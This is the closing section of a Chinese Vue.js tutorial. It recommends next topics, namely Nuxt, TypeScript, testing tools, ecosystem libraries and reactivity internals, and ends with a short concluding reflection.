  1. Nuxt(本站姊妹篇《Nuxt 教程》):把这门课的语法搬进「有服务端、有 SEO、能直出首屏」的工程外壳。你在这里学的响应式、组件、Pinia、路由,Nuxt 全都自动导入,重点变成「数据什么时候在服务端取、什么时候在客户端取」。
  2. TypeScript + vue-tsc:把 props、store、API 返回类型钉死,重构时不再靠胆量。
  3. 测试:Vitest + Vue Test Utils 测组件行为,Playwright/Cypress 测关键流程(登录、下单)。
  4. 生态里绕不开的几件:UI 库(Element Plus / Naive UI / shadcn-vue)、数据请求(TanStack Query 或 Nuxt 的 useFetch)、表格与图表(vxe-table、ECharts)、表单校验(VeeValidate / zod)。
  5. 原理补两页:官方文档的「深入响应式系统」和「编译优化(静态提升、patch flags)」——不必通读,但看懂这两节能解释「为什么要用 computed」「为什么 key 重要」。

Vue 的核心其实一直只有那句话:把界面写成数据的函数,剩下的交给框架。 语法、组件、路由、store 都是为了让你把这句话执行得整齐一些。愿你下次「数据变了界面不动」时,三秒内就想到是解构还是 key 的锅。

评论

为保障内容质量,评论需站长审核通过后才会展示;提交后没立刻看到属正常,请勿重复提交。

还没有评论,来抢沙发~